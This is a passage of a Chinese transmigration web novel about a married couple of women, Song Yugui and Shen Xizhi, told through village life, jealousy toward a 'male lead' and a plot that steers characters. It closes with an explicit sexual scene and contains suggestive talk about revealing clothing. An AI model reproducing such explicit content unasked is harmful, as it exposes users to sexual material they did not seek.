她听着两人吵架,再笨也猜出来惜枝为何会肚子疼了,同宋渝归一般不赞同道,“来月事了确实要少碰凉的,我表妹来月事时我连凳子都得替她坐热乎了才敢让她坐下,不然她就闹着肚子疼。” 沈惜枝没有与池厢月直说自己是来月事了,可池厢月猜出来了,猜出来也就算了,她竟还说出来了! 宋渝归低头,往上搂了搂怀里人,见她面色十分苍白,发现她碰凉水时生气的心情又涌上来了,语气就不大好,“听见没,下次还敢吗?” 沈惜枝咬了咬唇,将自己捂在妻子身上,闷闷的声音传出来,“不敢了不敢了,我真的不敢了,你不要说我。” 还当着池姑娘的面说。 她心里有些委屈,怎么能当着旁人的面说她。 宋渝归哼哼一声,没好气道, “好点了就起来先吃饭。” “哦。” 沈惜枝应了一声,有妻子的手暖着,又躺了一会儿,喝了碗热汤,肚子确实没那么疼了,乖乖爬起来去吃饭。 池厢月跟宋星川约好了要一起砍柴,没待太久就走了。 两碗鸡汤面香味浓醇,闻着就好吃。 沈惜枝乖乖坐在桌子边等吃饭。 宋渝归将盛好的面放到她面前,上头铺满了嫩嫩的鸡肉与些许菌菇。 她看了一眼,便拾起筷子将肉往另一个碗里夹,“你也多吃些呀。” 又被人夹住筷子挡了回去,“行,知道了,你别夹了。” “哦。” 见她面条上也有不少肉了,她才放心低头吃自己的。 面条裹着鲜浓的汤汁,很好吃。 两人吃完后,宋渝归准备去给自家猪割点猪草,并将惜枝留在家里休息。 “来月事不能太劳累,等你这几天过了,我一定上哪都带着你,嗯?” 她摸了摸妻子圆溜溜的小脑袋,也不知小时候怎么睡的,把头睡这么好看。 沈惜枝显然有些失落,但也没有说什么,又或者知道说了也没用,关乎她身体的事,妻君不会答应,因此只是安静的点点头。 “我给你做的衣裳好了,等你回来可以穿穿看,哪里不合适我再改一下。” 她不止给妻子做了衣裳,还纳了鞋子,做了香囊,早上起得早,妻君出门不带她,她没有事情做,便去做衣服了。 终于等到说好给她的衣服,宋渝归心情好了一点,从怀里掏出一只檀木盒子,“好,我尽快回来,对了,我给你买了珠钗。” 她一回家就被惜枝用凉水洗床单的事儿气到了,珠钗也没来得及拿出来。 小姑娘听闻妻君又要送她首饰,心里的喜悦渐渐开出花来,嘴上却偏不肯认,还仿佛有些不高兴的抱怨,“妻君又乱花银子,我的首饰已经够多了,不必再买了。” “看着好看就给你买了,你要不要试一试?” 沈惜枝接过盒子,轻轻打开,见到珠钗那刻,眼眸便满是光亮。 她说,“好好看!” “嗯,你喜欢就好。” 前头还心疼银子呢,这会儿又扑进妻子怀里,仰头在她脸侧亲了一口,“喜欢喜欢。” 啧,这时候亲什么,都来月事了。 宋渝归一面心想,一面侧了侧首,也含住妻子娇嫩的唇瓣,伸舌轻舔了舔。 “那你在家等我好不好?” “嗯嗯,妻君快去吧,我等你!” 她左右闲着也是闲着,见妻子不在,又坐在床边安静的绣起荷包来,上回绣的是小猪,这次绣青竹吧。 她从前在家时经常听沈耀祖闹着要有绣青竹的衣服,他说他那些同窗都有,不能只他没有遭人嘲笑,可见是个好图案。 她也要给妻君绣。 为了照顾家里怀孕的猪,宋渝归一个人背了三个背篓上山割猪草,回来时都日近黄昏了,竟正好和池厢月宋星川撞上。 两人行至她家门口就停住了。 她远远看见,心中一紧,见沈惜枝也提着裙摆从屋里出来,忙快步往自家跑。 宋星川憨直的目光时常往院子里看。 沈惜枝却并未察觉,而是好声好气同池厢月说着话。 对于宋星川,连招呼都未曾打一声,严格执行妻君的要求。 池厢月倒是几次看向宋星川。 也不知道有什么好看的! 难不成真是被剧情驱使了? 宋渝归一路连跑带喘,背着三个满是猪草的背篓回来了。 沈惜枝一看见妻子,便是眼前一亮,唤她,“妻君!” 说着连打开栅栏都来不及,急急冲宋渝归伸出双手,雪白精致的小脸仰着,神色依赖。 宋渝归伸手将人揽进怀里,当着男主的面! 宋星川眸光微暗,默默偏过头去。 偷偷用余光注意他的宋渝归:!!! 呵,我就说吧,果然觊觎我老婆,乌龟王八蛋!还男主呢,别人老婆都不放过,真不要脸。 她贴了贴媳妇儿软嫩的脸颊,“让你在家等我,有没有听话?” 沈惜枝仰头,鼓了鼓腮帮子,“我这次什么都没做,就帮你绣了荷包,你看看喜不喜欢?” 她从怀里掏出一个绣着小猪样式的荷包。 宋渝归看了两眼一黑。 不是,你绣什么不好,你绣一只猪,我这辈子就得和猪绑一块儿了??? 池厢月也伸长脖子,一边道,“荷包?我瞧瞧,我表妹也给我做过一只荷包,上头绣着红梅,可漂噗,哈哈哈哈!” 话说到一半,她瞅见沈惜枝的荷包上赫然是一只粉粉肥肥的小猪,没忍住笑出声来。 虽然做工精细,但那还是一只小猪啊! 宋渝归自己可以嫌弃这只猪,旁人却不行。 她从惜枝手里拿过荷包,将旧荷包里的钱都装进去,然后重新系在腰上,向池厢月看过去,语气危险,“很好笑吗,惜枝做的猪不可爱?” 池厢月笑容一僵,迅速站直,身后却忽而传来男子失神的轻声,“很可爱。” 宋渝归:…… 我xxx,男主果然不是什么好东西,和小说里一样,一面对惜枝心动,一面又觉得女主更适合他。 呵,什么人啊有病吧,轮得着你挑? 宋渝归皮笑肉不笑,“是啊,你堂嫂亲手做的,你也觉得很可爱吧,对了,我还没听你叫过惜枝堂嫂呢,她毕竟是我妻子,你只叫我却不叫她,你堂嫂都不高兴了。” “啊?” 沈惜枝红润的唇瓣微张,纤长眼睫睁了睁,茫然的看向妻子,心想,我不高兴了?什么时候,旁人叫不叫我与我何干? 实际上不高兴的是宋渝归,她甚至有点生气,说出口的话淡淡的,仿佛在教育人。 宋星川身子一僵,以为沈惜枝真因此不高兴,面容一下紧张起来,舌头几乎打结,好一会儿才干巴巴道,“我,我叫过的。” 他之前明明叫过堂嫂的。 “不记得了,堂弟再叫一声吧,好歹是你嫂子,以后碰见别不叫人啊,没礼貌的。” 他向来只叫堂姐,堂嫂极少才会唤一句,仿佛并不想认这个堂嫂一样,以宋渝归对他心存的偏见,私心认为,哼,他一定是心存了什么妄念! 沈惜枝虽然不知妻君为何非要让他唤自己堂嫂,但也没有出声阻止,视线更是一眼都不扫过去,看起来……就像是真的因为他不叫人生气了一样。 宋星川心绪紧张,这时候自然躲不掉了,只得抿了抿唇,手指几乎抠破裤子边缘,终于叫出一声,“堂嫂。” 沈惜枝微微点头,照旧没有给他多少眼神。 妻君不喜欢他,她自然不会多搭理,免得又叫妻君误会了。 宋渝归这才满意了,“你怎么和池姑娘一起过来了?” “我上山砍柴,路过……” 确实是路过,但池厢月本叫他先走就是的,他鬼使神差,想着今日能不能见到,就停了一会。 “原是这样,那天色不早了,堂弟也该回去了,我就不送了?” 现在天色昏黄,再晚一点连路都不好看清了,她也没说错。 宋星川没有理由留下来,点了点头,控制着视线不敢往沈惜枝那边看,背着满背的柴火回去了。 沈惜枝见人走远,趴在妻子肩膀上软乎乎道,“我没有和他说话哦,我不理他的。” 仿佛是在告诉自己的妻子,你不能再因此和我生气了。 池厢月从头看到尾,一头雾水,此时幽灵般探出脑袋,好奇问,“你不让惜枝和宋星川说话?为什么?” 宋渝归瞥了眼啥都不知道的小说女主,慢悠悠,“因为我占有欲很强,不喜欢惜枝和别人说话。” 沈惜枝俏脸一红。 池厢月:…… “说句话都不行,你也太小气了吧,我看那宋星川人不错啊。” “你懂什么。” 宋渝归瞪她一眼,仗着整个村就她与媳妇儿两个磨镜,口出狂言,“我们磨镜都是这样小气的。” “那你怎么肯让惜枝与我说话?” 疑惑。 宋渝归耸了耸肩,“说几句可以,说多了我也是要生气的。” 池厢月:…… 你们磨镜真是让我大为震撼。 过了好一会儿,她才憋出一句,“那真是谢谢你愿意让我和惜枝说几句话了。” “不用谢,毕竟你和宋星川不一样,你是我们的朋友。” 朋友当然比远了八百条街的堂弟亲近一些了。 池厢月没成想她还真不要脸,直接不理她了,“对了,今晚吃啥?惜枝你肚子还疼吗?” 沈惜枝陷入妻子说的占有欲强的美梦中,眼里闪着亮光,对池厢月的话半点没注意到。 直到池厢月在她面前挥了挥手,“想啥呢,傻了?怎么不说话。” 沈惜枝扭头又埋进宋渝归怀里,被人随手搂住纤细小腰。 她疑惑,“嗯?池姑娘说了什么?” 池厢月:好家伙,根本没听我说话,磨镜都这样吗? 她将人看了一遍摇摇头,“没事,我看你也不难受了。” 躺了一会儿就不疼了,顶多有些胀。 “嗯,有妻君照顾我,自然不难受,妻君买了牛肉,我们今晚吃牛肉吧。” 池厢月前一秒为两人的恩爱而牙酸,后一秒便真切高兴起来了。 只是嘴巴依旧很疼,十分影响她吃饭。 最后,一份小炒牛肉,一份复刻现代的孜然牛肉做出来,池厢月已经要香晕过去了,忍着疼硬是吃的肚皮圆滚,犹嫌不够,大手一拍,“我还想吃,惜枝,我明日去镇上买十斤牛肉,你帮我做一下好不好?” 她神色格外祈求可怜。 即便在看小说时,也没见过素来坚毅的女主露出这幅模样。 可见吃对她而言究竟得多重要。 沈惜枝摇头,虽然轻声细语,拒绝的却十分干脆,“不是的,我家是妻君想吃什么,我就做什么。” 她瞧着温温柔柔,但意思很明确,我家都是我妻子说了算,你说的不算,我可不向着你。 池厢月:万恶的磨镜! 她又看向宋渝归,还没来得及酝酿出可怜的情绪,就又被对方拒绝了。 “不行,我媳妇儿做不了那么多,她会累的。” 池厢月:天杀的磨镜。 “好吧,那你明天准备吃什么?” “大约吃馍吧。” 很多人家里也有馍,听起来是很平平无奇的食物,池厢月:失落低头。 但很快又精神起来,“以惜枝的手艺,就算只是普普通通的馍,也定能做的比旁人好吃,我也要吃!” “随便,都行。” 她想吃肉夹馍!古代也有肉夹馍,只是传的并不广,她平时吃不上。 夜深了,池厢月早早回去,宋渝归试了惜枝给自己做的长裙,深蓝的颜色,用了镇子上排得上名的好布料,竟做的……十分华丽,瞧着那宽大裙摆与袖口,她觉得自己在这个村子里很难穿出去。 难怪做了这么久,原来这样精细。 沈惜枝满意的抱着妻子手臂,“好看吧,我花了好久好久才做出来的!” 宋渝归嘴角抽了抽,“好看是好看,但我怕是只能在家穿了。” 她怕穿出门会在自己没注意到的情况下拖到鸡屎,估摸一天就能脏的不成样。 沈惜枝猛猛点头,“是呀是呀,就是在家里穿,妻君穿与我看就好了。” 这样好看的妻君,她本就没打算让旁人跟她一起看。 原来打的是这个主意。 那也没办法,衣服做都做好了,费了这么多心力,她不可能不穿的,她很喜欢,非常喜欢。 “那好吧,只是总不能只我有这样的衣服,你不为自己也做一身吗?” 宋渝归转了一圈,低头欣赏裙摆,话里带着引诱,不怀好意。 沈惜枝摇头,“我有很多衣服啊,渝归姐姐买的!” 她强调,那些衣服她也很喜欢。 可宋渝归同样摇摇头,“不行,你得有一身跟我这样的。” “啊……可是这个做起来要很久的。” 小姑娘犹豫,她愿意为了妻君花这么久做衣服,却不愿意为自己做,好麻烦呀,她随便穿穿就好了,妻君买的那么多衣服,都够她穿一辈子了呢! 宋渝归将人抱到床上,自己也坐下,又揽着她躺进怀里,温声哄她,“做吧,裙摆做大一些,会很漂亮的,我们可以一起穿,我有个新奇的衣裳样式,我来说你来做好吗?” 沈惜枝非常听妻子的话,听对方说有新奇的样式,连忙点了点头,双眸水润晶亮,“好啊,你说,我来做。” 宋渝归便凑近妻子耳畔,缓声道,“你将胸口的位置空出来,不要缝布料,这样好不好?” 沈惜枝的眼眸随着妻子的话,一点点睁大,简直不敢相信自己听见了什么。 扭头时红唇微张,震惊的不得了。 宋渝归还笑眯眯,丝毫不觉得自己说的话有什么问题。 “如果你愿意的话,后面其实也可以不放布料,但我觉得我要是真敢让你这么做,你能羞的咬死我。” 沈惜枝盯着她,认真点头,“我真的会!” 宋渝归被逗笑了,温声答应,“嗯,所以只要吧前面做出来就好了,再做一条底裤,嗯……” 说到这,她又想到什么,凑近人耳朵边说了几句,小姑娘脸蛋儿霎时红了,用力推她,“你,你这人怎么这样不知羞!再说那些话我就不理你了,整日净想些淫邪法子来欺负我!” 她气的不行也没从她怀里下去,只是将头偏去另一边,故意不理她。 宋渝归抱着人纤细的小腰晃了晃,眸色温柔,“好惜枝,我们都在一起这般久了,你哪处我没瞧过啊,这次与以往不同的不过是要穿着衣服看罢了,你要拒绝我吗?” 她又看起来有些可怜。 沈惜枝紧紧咬着唇,猛然扭头,“哼,我,我……” 我了个半天,也没有一句答复,既不说愿意也不拒绝她。 宋渝归笑眯眯看着媳妇儿,丢下一句,“那我就当你答应了。” 沈惜枝推她,恼怒道,“我不理你了。” 然后自己挪到一边去躺下。 不过床不大,两人中间还是没隔多少,宋渝归一躺下就碰到她了。 心知惜枝脸皮薄,这种话要她说出口是不可能的,但她也没有明着拒绝,那和直接答应有什么区别? 宋渝归眯了眯眼睛,靠近将背对她的媳妇儿搂进怀里,她来月事了,穿着单薄的里衣里裤,她也不敢招她,便只是把她抱进怀里,在她耳边说了一句,“睡吧。” 沈惜枝抿着唇,脸上红晕与热度尚未褪去,小声,“你摸着我的肚子睡。” “又不舒服?” “嗯,有一点点。” “好。” 热乎的手掌落在肚子上,坠疼一点点散去,沈惜枝眉目缓缓舒展,窝在人怀里闭上眼睛。 第二日又是日复一日的杀猪卖猪。 连着辛勤工作了几天,她都听说,女主和宋星川在一块儿玩。 听惜枝说的。 “春种的季节到了,池姑娘在帮宋星川家播种,我都看见了。” 宋渝归:…… 连农活都干上了,她一个千金小姐来乡下倒是很习惯。 “对了妻君。” 沈惜枝想到什么,仰起脑袋。 “我们家也有地呀,今年要不要也种些稻子?” 大米可以卖给粮行,也可以自己吃,总之能省些银子。 她在嫁到宋家之前就想过,如果,如果宋渝归对她好的话,她也会和宋渝归好好过日子的,平日她在外面卖猪,她便操持家务农务。 种稻子她也是想过的,只是从前妻子对她不好,她便没有提起,可如今…… 如今已经不一样了,她自然得处处为家里着想,更何况妻君说如果要修房子,她的钱暂且还不够,钱不够,她怎么能再在家里待着,妻君为了家里起早贪黑,她也该做点什么,补贴家用才是。 谁知,妻君又拒绝了她! 哼哼哼。 “种地太累了,你跟在我身边帮我数钱就好,我已经把地租出去了。” 沈惜枝:??? “什么时候的事,你不是说过今年可以种地吗?” 宋渝归摊了摊手,一脸无辜,“就昨天的事,我说的时候我们一穷二白,自然是宁愿辛苦些多赚银子,可今时不同往日了,我们没那么穷了,何必再如此辛苦。” 她年纪还不大,不想过劳死好吗。 沈惜枝嘟着嘴依偎在她怀里,“那我就什么都做不了了!” 她们俩住的房子,可是她一点也出不了力。 心里总是有些闷闷的。 “你可以帮我收钱啊,有时候来买肉的人多,我都不知道谁给钱了谁没给钱,你可以帮我看着,好不好?” 犹豫了一会儿,沈惜枝才勉强答应,“那好吧,那我明日和你去镇上。” 沈惜枝的月事通常来五日左右,今天已经是第五日了,只有一点点,明天可以出门。 “嗯。” 宋渝归也不想把人扔在家里,她这几天越看越惊讶于剧情的影响力,女主居然像小说前期一般和男主相处起来,唯一不同的只有……自家反派媳妇儿没有去捣乱。 池厢月不同于惜枝,她没办法对池厢月去说男主坏话,但这种情况下,显然也不适合将惜枝留下。 万一被剧情影响,出事就完蛋了。 不把人带在身边,她怎能安心。 第65章 胡言乱语 两人走在黄土地上,宋渝归与媳妇儿说了会儿话后看着推车里的竹条,挑了挑眉,“池姑娘给你弄的?” “嗯,我想编几个新的竹篮,以后买菜可以用,李大娘也托我帮她编一个。” “哟,小枝儿真是心灵手巧,什么都会做。” “你怎么又打趣我。” 小枝儿脸颊红红,羞涩的垂下眼睫不敢看人。 宋渝归还调笑她,“这哪是打趣,本就是事实。” 沈惜枝可能身子骨弱了一点,但手上功夫一向很到位,平日里做饭绣花编竹篓,都十分精巧好看。 她不愿再和妻子说话,也不知道为什么,妻子一夸她,她虽然脸上很不好意思,但心里就是高兴的紧。 两人在摊子上摆好新鲜的肉,又让惜枝拿着钱去买包子吃。 她照旧买了三个肉包两个素包,送到妻子面前,“妻君吃。” 宋渝归低头看了一眼,提出要求,“我要吃你的。” 沈惜枝一顿,眨了眨眼,颇为不好意思,“我的是素包呀,妻君不喜欢的。” “哪有不喜欢,上回我不是吃过吗?” “哦,那好吧。” 想到上回她咬了一大口她的包子,沈惜枝忍不住叮嘱,“你别吃太多呀,我也要吃的。” 小媳妇儿也知道多吃点了,宋渝归轻轻一笑,真的没有吃多,就吃了半个,不像上回只给她留了个底。 沈惜枝望了她一眼,没说什么,低下头小口小口啃包子。 面前又出现个白胖胖泛着热气的包子,抬眸,宋渝归笑眯眯道,“我的也给你吃,你可以吃大口些。” 她想到在街上与人交换包子吃,小脸儿愈加红艳,这种事素来只有她能做的心安理得,她总是很不好意思的。 “在外面……” “可是你上次都吃了。” 宋渝归疑惑,真的很不解为什么上次都吃,偏这次不吃。 小姑娘轻咬了咬唇,扭捏想, 是啊,上次都吃了,这次再吃又能怎样? 不点而赤的丹红薄唇一点一点凑过来,就着宋渝归的手,咬了她自己能力范围的一大口。 腮帮子已经塞满了,努力嚼了嚼,双眸溢着纯然欢喜。 又被周围善意的笑声弄的猛然低头。 都,都说了在外面,她们会说闲话的,妻君还要我吃…… 宋渝归不知沈惜枝在扭扭捏捏想什么,她一边嘴里叼着包子,一边热情卖肉。 吃完早饭后,沈惜枝也静下心思,人多就帮忙收钱,人少或是没人时就坐下编小竹筐,不消一会儿编了好几个,各个精致漂亮,竹条编的很密。 来往客人有感兴趣的,不由笑道,“好生漂亮的竹篮,是你夫人做的吗?” “是,内人手巧,做的确实漂亮。” 她毫不犹豫夸赞。 对方也跟着她夸。 沈惜枝纤长白皙的十指本灵活熟练翻飞着编竹篮,听见两人连番夸她,不由停下。 紧张的捏着竹条。 女子笑道,“我若多买几斤肉,可否送我一个竹篮?” 宋渝归一愣,没想到对方会提出这样的要求,扭头去看惜枝,这事儿她做不了主。 可惜枝却半点不犹豫,眸光亮了亮,立马开口答应,“可以啊,姑娘,买五斤以上我们便赠一个篮子。” 什么!五斤以上就赠我老婆亲手做的篮子? 我也想买TVT。 五斤其实不算少,非六口之家或富裕人家,轻易不会一次性买这样多,巧了,那女子家便刚好有七口人,家境也算不错,五斤于她而言不算多。 她没有犹豫,买了两斤板油三斤五花。 沈惜枝任她挑选自己做的篮子,将她买的肉放进了篮子里,拎给她提着走。 自此,每来一名客人,她便大着胆子红着脸招呼,“买五斤肉多送一个篮子哦,我刚刚编的,还很新呢。” 有的客人委婉拒绝,仍是只买了些许回去,但也有为着优惠一口气买五斤的,肉倒是卖的比平时快了一些,时到中午便卖完了。 两人去钱庄存了银钱。 那么多铜板,自然不可能存放在家里。 存完钱后留在小镇上随意吃了午饭才回去。 这几天池厢月和男主在一起,只记得来吃晚饭了,午饭都不来,她们也就没再回去做午饭,饿着肚子赶回村累得慌。 晚饭时,池厢月又准时出现,期待的坐在饭桌上。 “你这两天一直和宋星川玩?” 池厢月:“对啊对啊,你每天都去镇上,惜枝又不和我说话怕你吃醋,我无聊嘛。” 宋渝归默默看了惜枝一眼,她倒是不知道惜枝不和女主说话这件事,理由还是怕她吃醋。 怪不得女主都无聊到天天和男主在一起了。 “那你和宋星川平时都玩什么,割猪草还是砍柴?” 都是她很喜欢的活儿。 说到这,池厢月便有些愁眉苦脸的,“我帮他种地,他说最近忙不能和我去山上,必须把地种完才能跟我去。” 宋渝归惊讶:“还种着呢。” “嗯,是啊,不种不行,他家就他一个人种地,他娘身体不好,不能操劳,他一个人种的太慢了。” 池厢月心里苦。 她是精力旺盛热爱干活,但也不能天天干一样的活啊,一开始多有兴趣后头都被磨灭了。 宋渝归见女主其实多有不情愿,眼里闪过一道暗芒,“村子里除了宋星川也有旁人,若他如此忙碌的话,你不妨去找别人玩呢?” 池厢月闻言,双手撑着脸,神色却更苦了,“我也不知道为什么,每天一睡醒就想去找宋星川,好像跟他一起玩格外有意思似的,可明明种地累死了,我腰都直不起来了。” 听见这番话,宋渝归终于确认下来,是剧情没跑了。 剧情在指引女主做出和小说里一样的选择。 “那你明日还要去找他吗?” “不知道,我不想去了,等他什么时候种完地,我再和他玩吧。” 话是这么说,第二天夕阳西下,便见池厢月满是疲惫的回来,与她们吐槽,“说好不去的,我也不知道怎么回事,天一亮突然就想去了,累一天,要死了。” 宋渝归:…… 这么折腾女主,果然是傻逼男作者写的。 她嘴角抽了抽,“辛苦你了,我今日在镇上买了乌鸡,你一会儿多喝几碗鸡汤补补。” 池厢月悲痛,“是得好好补补,我都瘦了!” 她生性爱吃肉,身形匀称,看着就很健康有力气,但现在,都跟着宋星川累瘦了! “是瘦了,你一个千金小姐,难为你做这些农活。” “哎,我忍不住,今天觉得累,睡一觉起来又好像把那些累都忘掉了。” 宋星川身上是有什么魔力不成? 难道我心悦他,才会每日心心念念要帮他干活? 池厢月越想越心惊,我喜欢他? 不能吧,他生的也并不出色啊,还没我那被砍了头的远房堂哥好看呢。 她有些不愿意接受这件事,晚上食欲都少了。 宋渝归见她只吃了一碗,没忍住问,“不是说要补补吗?” “哎,吃不下,吃不下。” 满心都是忧愁。 如果她喜欢上宋星川,那她这辈子完蛋了。 她是觉得乡下的生活十分新鲜,也很喜欢村民淳朴的性子,但这不代表,她要留在这里。 她迟早还是要回去的,无论是去江南还是回京城,总之不可能留在一个小村子里,当平平无奇的乡野村妇。 可……听说书人讲,感情一事总是叫人没有防备的,若喜欢上一个人,便会抛却一切想与他在一起。 池厢月扪心自问自然是不愿的,偏偏有一道声音,一直引诱她,将她的心神都往宋星川身上引。 难道这就是不可违逆的真心吗? 靠,池厢月要愁死了。 “你生在富贵人家,自幼父母爱护,亲人疼宠,凡事不能只考虑自己,或许也该多想想身边人。” 宋渝归不动声色道。 若是寻常人,她自然不会要求人家处处为父母亲人,但女主……那宋星川能是什么良配吗? 多想想她爹,最好一想到爹就清醒了赶紧把宋星川踢出局。 池厢月呆呆的,似乎也想了很多人,但想的最多的还是远在京城,娇柔似水的表妹,她没想一直待在这,表妹性情和顺柔软,上哪都是被欺负的,她若在这长久的留下去,表妹被欺负死了都不得而知。 她曾经想的是,等一切查明,父亲官复原职,她便跟着回京,或者风声小了,她去江南,江南那儿有她母亲的部分资产,可以把表妹接过来,替她好好选一个丰神俊逸的老实男人,在自己眼皮子底下生活,看谁还敢欺负她。 但若她留在乡下…… 池厢月万万舍不得把娇滴滴的表妹接过来受苦。 她认真点头,“我知道了。” 仿佛要放弃那点莫名的好感一般。 宋渝归刚松了口气,第二日和妻子卖完肉回来,就见池厢月又在田里就位了。 …… 不是,有病吧。 真喜欢上男主了? 可这看着也不像啊,每天晚上都很烦的吐槽男主,被剧情驱使倒是比较像,可我媳妇儿为什么至今还是对宋星川没有感觉? 她狐疑的看了惜枝一眼。 沈惜枝刚好也在看田野里。 于是宋渝归眉心狠狠一皱,语气危险,“你在看谁?” 不能是男主吧? “啊,我在看池姑娘呀。” 哦,不是看男主,危机解除。 她语气又松软下来,温声问,“池姑娘?池姑娘怎么了。” 沈惜枝拉了拉妻子的袖子,提醒她,“池姑娘昨日不是说过今天不去田里了吗?怎么又……” 她也不喜欢宋星川,亦知道渝归姐姐不喜欢宋星川,自然不希望池厢月日日和宋星川在一块儿。 宋渝归黑脸,“我也不知道,走吧,我们先回去。” “嗯嗯。” 沈惜枝今日也去镇上编了竹篮,她想了个法子,妻君卖猪肉,她就在妻君旁边卖小篮子,一个竹篮两文钱,若买五斤肉就免费送一个竹篮。 她竹篮编的好看,来看竹篮的竟然比买肉的还多了些。 卖竹篮得的钱都让沈惜枝自个儿收着了。 她高兴的在镇上就数了两遍,眼下回家又数了一遍,“妻君,我卖了六个篮子!” 宋渝归点点头,笑着夸她,“很厉害。” 话音刚落,绣着青竹的荷包便被女子推过来。 这荷包扁扁的,里面仅装了十二文,她编织一日的篮子,除了十二文是客人单买,剩余的都是跟着肉送出去了。 “给你吧。” 可现在,她把这仅有的十二文给了我。 宋渝归低头望去,微微抿唇,“给我做什么,我有钱,这是你辛苦赚的钱,该自己留着。” 沈惜枝摇摇头,“不是的,妻君辛苦赚的钱也会分与我,那我赚的钱自然该分给妻君。” “我是分给你,你现在可是全部都给我了。” 山间传来微风,不知吹动了谁的心房。 只见屋内身形纤细的女子,一字一句认真道,“对,因为我很喜欢你,所以全部都想给你。” 轰的一声,脑子里似乎有什么炸开了,她清楚看见,惜枝对她的喜欢,远比她的,要更浓,更厚,如此情谊,怎有人舍得辜负? 宋渝归低下头,唇角上扬的弧度压都压不住,低咳几声,接过钱袋子,“好吧,这个给我,我今日赚的归你了。” 沈惜枝眼睛睁了睁,似没想到自家妻子也有这样大方的一日。 不,也不能说她不大方,她要生气的。 女子眉眼间缓缓浸染笑意,用力点头,“嗯,先放在我这里,等以后要用了再给你花。” 嘿,真有意思,你的钱给我花,我的钱还给我花。 宋渝归觉得媳妇儿挺不会算数的,人也笨,还好碰上她这种经历过九年义务教育的社会好青年,不然得被骗的渣都不剩。 池厢月就在两人浓情蜜意时砰砰敲门。 两人不约而同皱了眉,到底是谁这样没有眼力见? 然而开门望去,站在外面的居然是满头大汗的女主。 宋渝归惊讶,“你不是在给宋星川干活吗,怎么跑这来了?” 池厢月被放进来,快步往屋里走,当自己家一样给自己倒水喝水,最后竹节杯被砰的一声贯在桌子上,隐约可见一个裂纹。 宋渝归:…… 她的无语池厢月没有发现,皱着眉不解,“我一大早不知为何就特别想去宋星川家干活,真是见鬼了直到方才看见你与惜枝回来,一瞬间像是惊醒一样,又不想干活了,看宋星川就烦,所以骂了他一顿过来了。” 那可真是见鬼了,“你骂宋星川了?” 她问。 池厢月猛猛点头,“自然,谁让他家有这么多活要干啊,都累死我了。” 宋渝归正在深思她的话,忽而,寻到什么破绽一般,眯了眯眼,“你说你一看到我就醒了?” 池厢月也觉得奇怪,“对啊,我一看到你就好像所有情绪都回来了,一点不耐烦给别人干活。” 原版的小说与现在的区别也就是多了一个她,本该早死之人,不正常的女主一碰到她就正常了,那是不是说明…… 宋渝归垂眸沉思,食指曲起抵着下巴,等池厢月走了之后,猛的开口问正捞了谷物要出去喂鸡的媳妇儿,“你这几日见到宋星川,可有动心之感?” 沈惜枝先是一愣,似乎没听明白妻子说了什么,等反应过来后,眼眸不敢置信的望过去,然后一盆谷物,就这么泼宋渝归脸上了。 “噗,噗噗,噗!” 宋渝归闭着眼睛想将谷子从自己嘴里吐出来。 耳边全是媳妇儿颤抖的声音,“宋渝归你,你混蛋!” “我对你这样真心,你却还要疑我!” 她听见那脚步往外跑去,吓得掸掸脸,连忙就追出去了。 人家迈着小碎步,她一步抵人家三步,轻易将人捉了回来。 红着脸不顾她的挣扎,将人打横抱起,抱回屋里一脚踹上门才肯放下,又拦着她不让她走,在小姑娘红着眼眶的怒目瞪视中,为自己辩解,“不是,我没有疑你,我自然知道你对我的真心,我问一下,问一下嘛。” 宋渝归缩了缩脖子,等人生气了才觉得自己愚蠢,有什么好问的,惜枝喜欢谁她自己心里没数吗! 但此时问都已经问出来了,只能将人抱紧,为自己解释道,“我自然不疑你的心,我是问你,你身边有没有一种声音或感受,一直在诱惑你喜欢宋星川?” 沈惜枝被她强行揽在怀里,也不再挣扎,只偏头看向一处,恨恨道,“只有一道声音总是告诉我,我的妻子根本不喜欢我!” “胡言乱语。” 宋渝归松开她些许,握着女子尖细滑腻的下巴,将她转回来搂在怀里,又亲了亲她委屈发红的眼尾,“我喜欢你的,不要说这种话。” 她垂眸一下一下将人吻着,吻了好久,沈惜枝情绪才好了一些。 “只是问一问,现在我知道答案了,以后你也会知道答案的。” 她并没有准备把自己的秘密藏一辈子,若连枕边人都要一直防着,那多累啊。 从前不说是不信任,现在不同了。 沈惜枝气抖冷,什么现在以后的答案,你就是不信任我。 她气的拧了宋渝归一把。 宋渝归那点肉刚被她掐住,便下意识痛呼一声,然后反应过来,哎,不疼哎。 她低头望去,小媳妇儿脸都黑了。 我压根没舍得用力,她叫什么叫! “咳。” 心虚一笑,重新把媳妇儿揽入怀中,小脸被迫埋在她怀里,无法再瞪她。 “我知道你心疼我了,方才都是我故意叫出来逗你的。” 沈惜枝:你瞧我像个傻子吗。 “好了好了,我们不想这个了,我哄哄你,你便不要与我生气了可好?” 她环着沈惜枝的腰晃了晃,轻声道。 沈惜枝抿唇,不说话,屋里便安静下来。 宋渝归指尖蜷缩,一时不知道该怎么办了,只在心中骂自己,让你嘴贱,就是不问又怎么了,猜个差不离就好了,非得知道这么清楚,就你事多! 却不想沈惜枝蹙了蹙两道细长烟眉,更加生气的推了她一把,看向她,“不是说要哄我吗,你怎又说话不算话!” 言语间已经很生气了。 说好不再疑心我又疑心我,说要哄我也不哄,王八蛋宋渝归! 第66章 新来的女子 沈惜枝被气的发抖,宋渝归将人抱在怀里,好说歹说哄了半天才算好。 小姑娘只用一双含着一层薄薄水雾的眼睛望她,瞧着是受了不得了的委屈,轻咬唇瓣,“你若实在疑心我,我便是不做你妻子……” 话还没说完,就被人亲了亲嘴巴,“不许胡说,我没有疑心你,我信你的,你最喜欢的自然是我,只能是我。” 沈惜枝听她自信发言,含幽带怨的嗔了她一眼,心想,既如此为何还要这般在意宋星川,总将我与他牵扯到一处? 但这些话她并未说出口,长睫覆住幽暗的眼眸,安静被亲。 唇瓣被人轻轻叼在嘴里,用牙齿细细研磨。 今日天色好,不冷不热的,雪白的衣衫不知何时被褪尽了,露出更加莹白的肌肤,手指在臀缝下轻轻摩挲,嫣红芯儿在人手中轻颤,任人欺凌。 沈惜枝只是靠在妻子身上,咬着牙纤细身子一颤一颤的,强忍一波又一波欢快。 “你总是这样欺负我。” 那声音带着气音,哽咽委屈,宋渝归心早便软成一片了,侧首蹭蹭她的脸,温声哄,“不欺负你,让你高兴一下好不好?” 高兴…… 明明只是她自己高兴,我才不会,才不会为这种事高兴呢…… 沈惜枝双眸失神的想。 然后漂亮的眼睛便开始落下泪来,进出的手指带着湿意,复又来捂住她的嘴巴。 深夜迢迢,又长又安静,仿佛她们做什么,都不会有人发现一样。 